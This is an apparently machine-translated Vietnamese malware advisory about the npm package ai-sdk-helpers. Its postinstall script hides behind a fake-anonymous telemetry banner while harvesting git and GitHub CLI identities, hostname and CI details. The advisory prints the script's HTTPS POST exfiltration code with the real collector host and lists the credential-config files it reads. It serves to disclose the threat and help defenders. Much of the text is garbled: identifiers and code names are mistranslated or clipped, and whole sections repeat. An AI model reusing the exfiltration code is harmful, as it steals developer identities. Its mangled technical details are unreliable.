TL; DR
Một gói npm duy nhất, trợ giúp ai-sdkNó tự giới thiệu mình như một bộ công cụ sản xuất cho Vercel AI SDK, cung cấp tính năng theo dõi chi phí, dự phòng nhà cung cấp và hỗ trợ truyền dữ liệu.
Tập lệnh cài đặt của nó bắt đầu bằng một biểu ngữ thông báo được trau chuốt mô tả như sau: chẩn đoán ẩn danh, cam kết rằng không có mã nguồn, mã thông báo hoặc thông tin xác thực nào được truyền đi, tôn trọng một DO_NOT_TRACK tùy chọn từ chối và liên kết đến trang chính sách thu thập dữ liệu.
Sau đó, cùng một đoạn mã sẽ đọc thông tin về danh tính Git của nhà phát triển, cấu hình CLI của GitHub, tên máy chủ, tên người dùng hệ điều hành, thư mục làm việc và nhà cung cấp CI.
Dữ liệu đó được gửi dưới dạng JSON đến điểm cuối Google Cloud Run, tạo ra sự không khớp rõ ràng giữa chính sách đo lường từ xa đã nêu và các trường dữ liệu thực tế được thu thập.
Gói phần mềm được phát hành thành 22 phiên bản trong một khoảng thời gian ngắn 83 giây, và kịch bản cài đặt hoàn toàn giống nhau từng byte trên mọi phiên bản được đánh dấu.
Bảy trong số tám phiên bản được chúng tôi đánh giá đều đạt yêu cầu. pipeline Chúng được bộ phân loại ML đánh giá là không kết luận được vì kiểu dáng của biểu ngữ chấp thuận trông giống như dữ liệu đo từ xa hợp pháp.
Chúng tôi phân loại ai-sdk-helpers được coi là hành vi độc hại dựa trên việc thu thập và đánh cắp thông tin nhận dạng nhà phát triển trong quá trình cài đặt.
Mức độ nghiêm trọng: cao.
Cấu trúc của quá trình cài đặt
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } sau khi cài đặt chạy tự động trên NPM cài đặtTrước khi bất kỳ đoạn mã nào được quảng cáo trong gói phần mềm được nhập vào. Tập lệnh scripts/postinstall.js Đây là nơi chứa tất cả các hoạt động trong quá trình cài đặt.
Nó bắt đầu bằng một khối chú thích và một thông báo trong quá trình chạy được viết theo phong cách của một dự án mã nguồn mở coi trọng quyền riêng tư:
Khi bạn cài đặt ai-sdk-helpers, chúng tôi sẽ chạy kiểm tra nhanh khả năng tương thích môi trường và báo cáo chẩn đoán ẩn danh… Dữ liệu hoàn toàn ẩn danh — chúng tôi chỉ thu thập nền tảng, phiên bản Node và mã băm một chiều của mã định danh máy của bạn. Không có mã nguồn, mã thông báo hoặc thông tin đăng nhập nào được truyền đi.
Nó thậm chí còn kết nối một cổng từ chối hoạt động, đoạn mã thực thi đầu tiên trong tệp:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Việc đặt dây vào cánh cổng này trước tiên là điều khiến phần còn lại được hiểu là có sự đồng thuận: một nhà phát triển thiết lập `D_KHÔNG_THEO_DÒ` Quá trình cài đặt hoàn tất một cách im lặng và kết luận rằng gói phần mềm tuân thủ quy ước. Tùy chọn từ chối được tôn trọng là có thật. Điều mà nó kiểm soát, đối với tất cả những người không thiết lập tùy chọn này, là tập hợp các thông tin được mô tả bên dưới — chứ không phải là "nền tảng, phiên bản Node và mã băm một chiều" như trong thông báo.
Bên dưới cổng đó, kịch bản sẽ tập hợp một khối lượng công việc vượt xa mô tả ban đầu.
- *Gđồng nhất.* rgiải quyếtScmNhận dạng()` đầu `~.gitconfig`,`~.config/git/config`,và dự án hiện tại.`it/config`,phân tích cú pháp `[ser]` lựa chọn và trả về cấu hình đã thiết lập. commit email. Nếu không có tệp cấu hình nào cung cấp email, hệ thống sẽ sử dụng địa chỉ `G` làm phương án dự phòng.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,và `EAIL` các biến môi trường. Một chuỗi tài liệu phía trên hàm mô tả việc đọc như một cách để “loại bỏ các cài đặt trùng lặp trên các máy thuộc sở hữu của cùng một người (ví dụ: máy tính xách tay + CI)” — một mục đích đã nêu yêu cầu một mã định danh ổn định cho mỗi nhà phát triển, mà một commit Vật tư email.
- *GTài khoản tHub.* rsolveGitHubIdentity()` đầu `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` Tệp cấu hình được ghi bởi CLI của GitHub khi nhà phát triển xác thực — và trích xuất chuỗi `u` bằng biểu thức chính quy.er:` nd `eail:` Các trường. Tệp đó cũng lưu trữ mã thông báo OAuth của GitHub; biểu thức chính quy của tập lệnh nhắm mục tiêu cụ thể vào các dòng tên người dùng và email và không trích xuất mã thông báo. Do đó, tuyên bố trong biểu ngữ tiết lộ "không có mã thông báo nào... được truyền đi" là hoàn toàn đúng đối với trường đó, trong khi các định danh tài khoản xung quanh được đọc và gửi đi.
- *HDấu vân tay st và CI.* Sau đó, kịch bản thu thập `o.hostname()`,`o.userInfo().username`,Phiên bản Node, nền tảng và kiến trúc, `p`ocess.cwd()`,và nhãn nhà cung cấp CI được xác định bằng cách kiểm tra các biến môi trường cho tám nhà cung cấp (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite và hai cờ CI chung). Danh sách nhà cung cấp được xem như một bản kê khai nơi mà tập lệnh dự kiến sẽ thực thi — các shell tương tác và quá trình xây dựng tự động. pipelinegiống nhau.
Tất cả những thứ này được nhóm lại thành một `d` duy nhất.những người bất khả tri đối tượng, với các trường dành riêng cho từng nhà phát triển được thu thập dưới dạng `ithực thể` ey và dữ liệu máy chủ dưới `rntime` nd `cntext` sau đó được tuần tự hóa và truyền đi:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Phản hồi bị loại bỏ và tất cả các lỗi đều bị bỏ qua — một bình luận lưu ý rằng “dữ liệu đo từ xa không bao giờ được làm hỏng quá trình cài đặt”. Tên máy chủ điểm cuối mã hóa dịch vụ Google Cloud Run trong `e`.dây thừng phía tây1` khu vực.
Khoảng trống nằm ở chính câu chuyện. Biểu ngữ nêu tên ba loại dữ liệu — nền tảng, phiên bản Node, mã băm định danh máy. Nội dung gửi đi là tài khoản Git thực của nhà phát triển. commit email, tên người dùng và email GitHub của họ, tên máy chủ và tên tài khoản hệ điều hành, đường dẫn dự án và môi trường CI của họ. Các trường xác định một *prson và tài khoản của họ* Chính xác là những lĩnh vực mà bản công bố thông tin đã bỏ sót.
Tệp README củng cố luận điểm từ phía bên kia. Phần “Telemetry” của nó lặp lại tuyên bố về tính ẩn danh và liên kết với từ `D`._KHÔNG_THEO_DÒ` o `cnsoledonottrack.com`,Trang cộng đồng thực sự ghi lại quy ước từ chối tham gia — mượn một quy tắc bảo mật được công nhận. standard Để thông báo được đọc như một thủ tục thông thường.
Lịch Trình Sự Kiện
Đây là một sản phẩm được tìm thấy trong một gói duy nhất với lịch sử phát hành rất ngắn và dày đặc. Không có chiến dịch phát hành kéo dài nhiều tuần để theo dõi — toàn bộ các phiên bản được phát hành với tốc độ máy tính.
| Khi nào (UTC) | Sự kiện |
|---|---|
| 2026-06-03 20:31:20 | Phiên bản đầu tiên (0.1.0) đã được xuất bản lên npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Tất cả 22 phiên bản (0.1.0 thông qua 1.4.2) được xuất bản trong một đợt tự động kéo dài 83 giây. |
| 2026-06-04 | Tám phiên bản được gắn cờ bởi các tín hiệu phát hiện; phân tích thủ công xác nhận việc thu thập thông tin nhận dạng và đánh cắp dữ liệu trong quá trình cài đặt. Gói phần mềm vẫn còn hoạt động trên npm tại thời điểm phân tích. |
Khoảng thời gian 83 giây trải dài trên 22 phiên bản ngữ nghĩa tự nó là một chỉ báo hành vi: thang phiên bản (`01.0`,`01.1`,… `14.2`)Hiển thị giao diện của một dự án đang được duy trì tích cực với lịch sử phát hành, được tạo ra trong một lần chạy kịch bản duy nhất. Kịch bản cài đặt không thay đổi trong suốt quá trình đó — xem bên dưới.
Các chỉ số thỏa hiệp
Tải trọng cài đặt là giống hệt nhau trên toàn bộ phạm vi phiên bản đã phát hành. A `dff` f `sripts/postinstall.js` phiên bản etween `02.1` phiên bản nd `14.2` Không có sự khác biệt nào được trả về; hành vi này là một dấu vân tay cố định, chứ không phải là một tải trọng thay đổi liên tục.
mạng
Khoảng thời gian 83 giây trải dài trên 22 phiên bản ngữ nghĩa tự nó là một chỉ báo hành vi: thang phiên bản (`01.0`,`01.1`,… `14.2`)Hiển thị giao diện của một dự án đang được duy trì tích cực với lịch sử phát hành, được tạo ra trong một lần chạy kịch bản duy nhất. Kịch bản cài đặt không thay đổi trong suốt quá trình đó — xem bên dưới.
Các chỉ số thỏa hiệp
Tải trọng cài đặt là giống hệt nhau trên toàn bộ phạm vi phiên bản đã phát hành. A `dff` f `sripts/postinstall.js` phiên bản etween `02.1` phiên bản nd `14.2` Không có sự khác biệt nào được trả về; hành vi này là một dấu vân tay cố định, chứ không phải là một tải trọng thay đổi liên tục.
mạng
| chỉ số | Vai trò |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Điểm cuối thu thập dữ liệu nhận các yêu cầu HTTPS POST với tải trọng JSON. Được lưu trữ trên Google Cloud Run. europe-west1 khu. |
Cơ sở hạ tầng mồi nhử
| chỉ số | Vai trò |
|---|---|
ai-sdk.guide | Trang chủ gói và trang web trực tiếp hỗ trợ nhận diện tác giả "AI SDK Guide". |
ai-sdk.guide/telemetry | URL chính sách đo từ xa được tham chiếu trong thông báo tiết lộ khi cài đặt. |
hello@ai-sdk.guide | Địa chỉ email của tác giả được khai báo trong package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Kho lưu trữ mã nguồn được khai báo bởi gói phần mềm. |
Các tập tin được đọc trong quá trình cài đặt
- –.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` thư
- – `.config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Công cụ dòng lệnh GitHub `uer` `eail`
Chữ ký hành vi
- – m `pstinstall` ook gọi một tập lệnh Node được đóng gói sẵn
- – cổng từ chối tham gia (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_KHÔNG_THEO_DÒ`)Được giới thiệu như một tính năng bảo mật, trước khi thu thập thông tin nhận dạng.
- – Gửi yêu cầu POST HTTPS qua tbound với đối tượng JSON chứa email git, định danh GitHub, tên máy chủ, tên người dùng hệ điều hành, thư mục làm việc hiện tại và nhãn CI.
- – Kịch bản cài đặt giống hệt nhau trên toàn bộ chuỗi phiên bản được phát hành nhanh chóng.
Sự quy kết và hành vi quan sát được
Chúng tôi không ghi nhận bất cứ điều gì ngoài những thông tin được lưu trữ trong siêu dữ liệu của gói phần mềm và registry.
Người chịu trách nhiệm bảo trì npm là tài khoản `a`.ielsimon`,với địa chỉ `aiel@vigilance.security`.Hệ thống đăng ký liệt kê email đó là chưa được xác minh và danh tính kiểm soát nguồn của tài khoản cũng là chưa được xác minh. `p`package.json`,Riêng phần này, tác giả được giới thiệu là “Hướng dẫn SDK AI”.ello@ai-sdk.guide>`”với trang chủ là `a-sdk.guide` và một kho lưu trữ mã nguồn theo định dạng `g`.tổ chức thub.com/ai-sdk-guide. Tên miền email của tài khoản xuất bản (`vigilance.security`)và danh tính tác giả trong gói (`a-sdk.guide`)là các lĩnh vực khác nhau.
The `a-sdk.guide` Nó đang hoạt động và phản hồi, và `/phép đo phần tử` ath resolves — danh tính giả mạo được hỗ trợ bởi một trang web có thể truy cập được chứ không phải là một liên kết chết, điều này làm tăng độ tin cậy của việc dàn dựng gói tin.
**Khả năng quan sát được.** Tại thời điểm cài đặt, gói phần mềm đọc thông tin nhận dạng nhà phát triển và các tệp cấu hình tài khoản, xác định dấu vân tay của máy chủ và môi trường CI, và truyền kết quả đến một điểm cuối do người vận hành kiểm soát, đồng thời hiển thị thông báo mô tả một tập dữ liệu hẹp hơn và được ẩn danh. Chúng tôi mô tả hành vi này; chúng tôi không khẳng định động cơ của nó. Người đọc đánh giá gói phần mềm — bao gồm bất kỳ bên nào nhận ra danh tính của nhà phát hành — nên cân nhắc sự không khớp có thể quan sát được giữa luồng dữ liệu đã nêu và luồng dữ liệu thực tế.
Tác động, xu hướng và hướng dẫn dành cho người phòng thủ
Ai bị lộ thông tin? Bất kỳ ai cài đặt trợ giúp ai-sdk — trực tiếp hoặc gián tiếp như một sự phụ thuộc bắc cầu — chạy bộ sưu tập trên máy đó. Bởi vì tác nhân kích hoạt là sau khi cài đặtMã thư viện được quảng cáo không cần phải nhập để luồng dữ liệu diễn ra; chỉ cần cài đặt là đủ. Môi trường có giá trị cao nhất là các máy trạm của nhà phát triển với danh tính git đã được cấu hình và CLI GitHub đã được xác thực, và các trình chạy CI, nơi tính năng phát hiện nhà cung cấp CI của tập lệnh cho biết bộ sưu tập dự kiến sẽ chạy bên trong quá trình xây dựng. pipelinecũng như trên máy tính xách tay.
Điều nó phơi bày. Không phải là các bí mật ứng dụng trong trường hợp thông thường — trọng tâm của phần mềm độc hại là... bản sắccủa nhà phát triển commit email, tên và email tài khoản GitHub của họ, tên máy và tên tài khoản, và đường dẫn dự án. Đó là bước chuẩn bị trước.cisBản đồ này ghi lại thông tin về người đã cài đặt gói, trên máy nào, trong kho lưu trữ nào và dưới hệ thống CI nào. Đối với một tổ chức, một vài bản ghi như vậy khi được tổng hợp lại sẽ cho biết kỹ sư nào và hệ thống xây dựng nào đã tải xuống phần phụ thuộc — hữu ích như một bước chuẩn bị cho các hoạt động tiếp theo có mục tiêu hơn, mặc dù hành vi của chính gói này chỉ dừng lại ở việc thu thập và truyền tải.
Xu hướng hiện nay: sử dụng công nghệ đo từ xa như một vỏ bọc. Các công cụ dành cho nhà phát triển hợp pháp thu thập thông tin chẩn đoán cài đặt đã được ẩn danh, và các quy ước để thực hiện việc này một cách tôn trọng — một thông báo công khai, một KHÔNG THEO DÕI Danh dự, cờ từ chối tham gia, URL chính sách — đều đã được biết đến rộng rãi. trợ giúp ai-sdk Nó sao chép trung thực cả bốn quy ước đó và sử dụng chúng làm lớp vỏ bọc để thu thập thông tin nhận dạng. Sự hiện diện của biểu ngữ yêu cầu sự đồng ý, tùy chọn từ chối hoạt động hoặc liên kết chính sách bảo mật không phải là bằng chứng cho thấy một gói phần mềm đáng tin cậy; những biện pháp kiểm soát đó rất dễ bắt chước. Cách kiểm tra đáng tin cậy duy nhất là mã đó thực sự đọc gì và gửi nó đến đâu.
Bao bì này cũng có tác động rõ rệt đến việc phân loại tự động. Trên tất cả các phiên bản của chúng tôi pipeline Sau khi xem xét, các bình luận bằng ngôn ngữ đơn giản của tập lệnh cài đặt, tên trường có cấu trúc và cổng từ chối thông thường được đánh giá là dữ liệu đo từ xa thông thường: bảy trong số tám câu hỏi đã được trả về. không quyết định Xuất phát từ bộ phân loại ML chứ không phải do hành vi độc hại. Tín hiệu giải quyết sự mơ hồ không nằm ở văn bản mà nằm ở các tệp cụ thể mà kịch bản mở ra.~ / .gitconfig, ~/.config/gh/hosts.yml) và đích đến mà nó gửi tới. Một người đánh giá, dù là tự động hay con người, chỉ đọc thông tin công bố và dừng lại ở đó sẽ đi đến kết luận sai; việc xác định phải dựa trên các dữ liệu thực tế.
Hướng dẫn dành cho người phòng thủ:
- Cài đặt với các tập lệnh bị vô hiệu hóa theo mặc định — npm install –ignore-scripts, hoặc thiết lập ignore-scripts=true in .npmrc và chạy các bước xây dựng đã được kiểm duyệt một cách rõ ràng. Điều này vô hiệu hóa sau khi cài đặt- Thu thập dữ liệu được kích hoạt trên diện rộng.
- Không nên coi các tùy chọn từ chối tham gia là tín hiệu thể hiện sự tin tưởng. KHÔNG THEO DÕI Liên kết kiểm tra hoặc "chính sách đo từ xa" không cho bạn biết gì về dữ liệu mà một tập lệnh thu thập khi cổng không được thiết lập.
- Hãy đọc kỹ hướng dẫn cài đặt trước khi sử dụng các gói hỗ trợ hệ sinh thái AI. Môi trường SDK AI của Vercel là một lĩnh vực phát triển nhanh chóng và đòi hỏi độ tin cậy cao; sau khi cài đặt chạm vào ~ / .gitconfig or ~/.config/gh/ Đây là một tín hiệu rõ ràng bất kể các bình luận xung quanh được viết như thế nào.
- Giám sát lưu lượng truy xuất trong quá trình xây dựng. Một yêu cầu HTTPS POST đi ra trong quá trình NPM cài đặtĐặc biệt là đối với một điểm cuối hàm đám mây mới được cung cấp, điều này có thể quan sát được ở lớp mạng và là một điểm phát hiện quan trọng đối với môi trường CI.
- Hãy cảnh giác với các phiên bản rút gọn. Một gói phần mềm mà toàn bộ lịch sử phiên bản ngữ nghĩa xuất hiện chỉ trong vài giây, với kịch bản cài đặt không thay đổi, đang tạo ra một lịch sử bảo trì giả tạo.





